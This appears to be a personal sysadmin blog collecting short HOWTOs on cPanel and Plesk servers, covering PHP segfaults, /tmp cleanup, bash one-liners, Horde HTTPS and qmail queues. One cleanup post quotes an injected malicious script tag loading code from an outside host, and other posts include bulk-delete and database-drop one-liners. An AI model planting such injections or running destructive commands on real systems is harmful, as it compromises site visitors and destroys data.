Yegor's blog

Small blog about system administration.

PHP segfault problem at cPanel based servers

I just looked at my logs and I'm noticing that every so often PHP processes are segfaulting.

Apr 23 01:53:04 deuce kernel: php[13001]: segfault at 0000000000000000 rip 00000000007579c2 rsp 00007fff43b278d0 error 4 
Apr 23 01:53:07 deuce kernel: php[13010] general protection rip:7579da rsp:7fff79886c60 error:0

If you have .core files, you can track down the PHP application causing it as those .core files would generate in the folder where the script is executing.

You can check if you have .core files enabled by running this command:

# ulimit -a

If you see the following:

core file size (blocks, -c) 0

Then .core files will not form. You can change this temporarily to unlimited by doing the following:

#ulimit -c unlimited

Running "ulimit -a" after that point should show this as unlimited:


core file size (blocks, -c) unlimited


If you have any issues with the above not working, you might review this guide for increasing core file dump limits:

After you do have .core files forming, you can use this guide as a basis for reading the core dump files:

No comments :

Post a Comment

HOWTO: Clearing /tmp in cPanel based servers.

You should be very careful what you delete out of the /tmp partition. I would recommend having someone knowledgable have a look for you so that they can advise you on what is filling it up, and more importantly, why.

Attention! Do not delete mysql.sock and horde.log. They are much in need.

cd /tmp

ls -al sess_*

this is what takes up most of it in case you do not clear up the same regularly.

rm -f sess_*

ls -al *.wrk

This comes up in case you use mod_gzip

rm -f *.wrk

now check what other stuff lies there.

No comments :

Post a Comment

Bash tips & tricks

I know that bash is not really a scripting language but there are times when you just want to do things on a single command line.

So, if you want for example drop some databases from a folder list:

ls /var/lib/mysql | grep dbmatch* | while read i; do echo “drop database $i”; done | mysql


Or, if you want to change same content on multiple files:

cd folder ; grep “oldvalue” * -l | while read f; do cat $f | sed s/oldvalue/newvalue/ > /tmp/x; cat /tmp/x > $f; done

No comments :

Post a Comment

HOWTO: Restore Plesk 8 backup on Plesk 9 server

Copy backup to plesk9 server and run:

/usr/local/psa/bin/pre9-backup-convert -v convert -d /var/lib/psa/dumps/ /root/plesk8-backup-file

Then go to plesk 9 panel and restore the backup from the client and/or precreated domain.

Keep it simple ;-)

1 comment :

Post a Comment

HOWTO: Easy clean infected sites

When you experience code injection in your site and there is only appending of code to the end of your site files you can clean it with :

cd /var/www/vhosts/<your-domain-com>/httpdocs
find . -type f -exec sed -i ‘/oployau.fancountblogger.com/d’ {} \;

for lines like :

js/ac_runactivecontent.js:document.write(‘<s’+'cript type=”text/javascript” src=”http://oployau.fancountblogger.com:8080/Link.js”></scr’+'ipt>’);

or just

find . -name “*.php” -type f -exec sed -i ‘/eval(base64_decode(/d’ {} \;

if you want to check/repair only php files with base64 encoded injection.

Of course you need shell access for this or you can just request you hosting guys to do it for you.

No comments :

Post a Comment

Adding a subdomain pointing to custom folder (for example, inside webroot)

Usually, I work with CPanel.
But some time ago my friend asked me to move his website to a server with Plesk installed by default.
Website required domain sub.domain.com to point to a folder inside main site webroot.
I surprizingly found, that with Plesk 9 it is impossible (it was ok with old versions where Plesk allowed to choose subdomain destination folder). I had to find a way to overcome that.

It is easy. But you need to be root for that.

Open /var/www/vhosts/domain.com/subdomains/sub/conf/vhost.conf in editor.

Add to it the following contents (for sub.domain.com):

DocumentRoot /var/www/vhosts/domain.com/httpdocs/sub 
<Directory /var/www/vhosts/domain.com/httpdocs/sub> 
     <IfModule sapi_apache2.c> 
        php_admin_flag engine on 
        php_admin_flag safe_mode off 
        php_admin_value open_basedir "/var/www/vhosts/domain.com/httpdocs:/tmp" 
     </IfModule> 
     <IfModule mod_php5.c> 
        php_admin_flag engine on 
        php_admin_flag safe_mode off 
        php_admin_value open_basedir "/var/www/vhosts/domain.com/httpdocs:/tmp" 
     </IfModule> 
 Options -Includes -ExecCGI 
</Directory>

After that you need to reconfigure Plesk by using command

# /usr/local/psa/admin/bin/websrvmng -a

1 comment :

Post a Comment

HOWTO: Force HTTPS for the Plesk webmail (Horde)

If your using Horde as your preferred webmail client on a Plesk virtual hosting server, its advisable to enable (and force) the use of HTTPS in order to secure webmail users against their login information and email communication being compromised.

To force HTTPS within Horde:

# nano -w /etc/psa-webmail/horde/horde/conf.php

Then change:

$conf['use_ssl'] = 2;

to:

$conf['use_ssl'] = 1;

Next edit the Horde virtual host file:

nano -w /etc/httpd/conf.d/zzz_horde_vhost.conf

And just below the "ServerAdmin email@address.com" line add:

RewriteEngine On
RewriteCond %{HTTPS} off 
RewriteRule (.*) https://%{HTTP_HOST}%{REQUEST_URI}


Make sure to tab the lines in to match the delimiter of the previous servername/alias/admin lines.

Now restart Apache so it can pickup the changes:

# /etc/init.d/httpd restart

These changes will enable the following:

1. It will automatically re-direct connections from http://webmail.your-domain.com to httpS://webmail.your-domain.com before the user logins in, thus securing their login username and password.

2. It will disable non-SSL traffic to the Horde framework in the event the re-write rules are removed or otherwise edited.

No comments :

Post a Comment

Any operation on a VE gives me "Cannot lock VE". How do I solve it?

VE is locked when some operation (backup, migration, start / stop, etc.) with this VE is in progress. 
You can determine which process is holding VE #101 using the following command on the hardware node:

# cat /vz/lock/101.lck

You can kill that process if needed. Make sure that the process is really killed. 
If there is no process with that PID on the node, just remove the lockfile.

No comments :

Post a Comment

HOWTO: Install Ruby on cPanel based server

If you are using CPanel 11 (the latest version available at this time) you can easily install ruby on your system using CPanel.
Previously, you had to do this using operating system packages or manually from sources.
Now, we can just run /scripts/installruby and this will do everything for us:

download, compile and install ruby
download and install RubyGems and some gems like rails and mongrel

/scripts/installruby

At this time it will install the latest 1.8 ruby:
ruby -v
ruby 1.8.6 (2007-03-13 patchlevel 0) [i686-linux]

and the following gems (using rubygems-1.1.1):


gem list
actionmailer (2.1.0)
actionpack (2.1.0)
activerecord (2.1.0)
activeresource (2.1.0)
activesupport (2.1.0)
cgi_multipart_eof_fix (2.5.0)
daemons (1.0.10)
fastthread (1.0.1)
gem_plugin (0.2.3)
mongrel (1.1.5)
rails (2.1.0)
rake (0.8.1)


This should be enough for running ruby scripts, but if you want to use Ruby On Rails from within cPanel then you just have to complete this by running /usr/local/cpanel/bin/ror_setup.
If you are interested to deploy RoR environments on CPanel you can do this from inside CPanel.

For more information check out the CPanel docs.

No comments :

Post a Comment

Clear email queues with qmHandle

Download qmHandle from SourceForge. You actually only need the script 'qmHandle' so use that if you have it handy. Upload it to the server and untar it if necessary. You may download the file directly from SourceForge using the wget command:

# wget http://sourceforge.net/projects/qmhandle/files/qmhandle-1.3/qmhandle-1.3.2/qmhandle-1.3.2.tar.gz/download


Then decompress the file using the tar command:

# tar -xvzf qmhandle-1.3.2.tar.gz

First it is recommended to shutdown qmail using the service command to prevent possible corruption of the mail queue:

# service qmail stop

When you are done with qmhandle be sure to start it again using the service command:

# service qmail start

qmHandle can show it's own options when run without a flag:

./qmHandle 

qmHandle v1.3.2 Copyright 1998-2003 Michele Beltrame 
Available parameters: 
-a : try to send queued messages now (qmail must be running) 
-l : list message queues 
-L : list local message queue 
-R : list remote message queue 
-s : show some statistics 
-mN : display message number N 
-dN : delete message number N 
-Stext : delete all messages that have/contain text as Subject 
-D : delete all messages in the queue (local and remote) 
-V : print program version 

 Additional (optional) parameters: 
-c : display colored output 
-N : list message numbers only (to be used either with -l, -L or -R) 
You can view/delete multiple message i.e. -d123 -v456 -d567

No comments :

Post a Comment

HOWTO: reset password for "admin" account in Plesk Panel

Plesk Panel authenticates user "admin" by trying to authorize access to the Plesk Panel database using the password provided.

Use /usr/local/psa/bin/admin utility to prompt the password for user "admin":

# /usr/local/psa/bin/admin --show-password
Use  /usr/local/psa/bin/init_conf to reset the password for user "admin":
# /usr/local/psa/bin/init_conf -u -passwd <new_password>

No comments :

Post a Comment

PHP segfault issues

In most cases, segfaults are caused by hardware problems.

[17546.670984] php[23330]: segfault at 7fff69c21dc0 ip 000000000062844d sp 00007fff69c21da0 error 6 in php5[400000+519000]
[17606.986485] php[23404]: segfault at 7ffffd34bdc0 ip 000000000062844d sp 00007ffffd34bda0 error 6 in php5[400000+519000]
[17666.397216] php[23507]: segfault at 7fff71a33bd0 ip 000000000062844d sp 00007fff71a33bb0 error 6 in php5[400000+519000]
[17726.683409] php[23542]: segfault at 7fff1510db80 ip 000000000062844d sp 00007fff1510db60 error 6 in php5[400000+519000]
[17786.976288] php[23579]: segfault at 7fffc6f0dfc0 ip 00007fbabc648798 sp 00007fffc6f0df80 error 6 in libc-2.9.so[7fbabc5ce000+168000]
[17847.269009] php[23617]: segfault at 7fff71433eb0 ip 000000000062844d sp 00007fff71433e90 error 6 in php5[400000+519000]
[17906.571567] php[23665]: segfault at 7fffe9fb2150 ip 000000000062844d sp 00007fffe9fb2130 error 6 in php5[400000+519000]
[17966.860766] php[23706]: segfault at 7fff9ccd1e60 ip 000000000062844d sp 00007fff9ccd1e40 error 6 in php5[400000+519000]



I thought segfaults are caused by bad programming? Maybe there is a bug in the mysql module in php?
After thinking about it again and searching the forum I have set the following:

max_connections = 500 
max_user_connections = 500

This seems to fix the issues and it runs now without problems.
Mysql only allows 151 connections by default which is to limited for my implementation (it seems).

No comments :

Post a Comment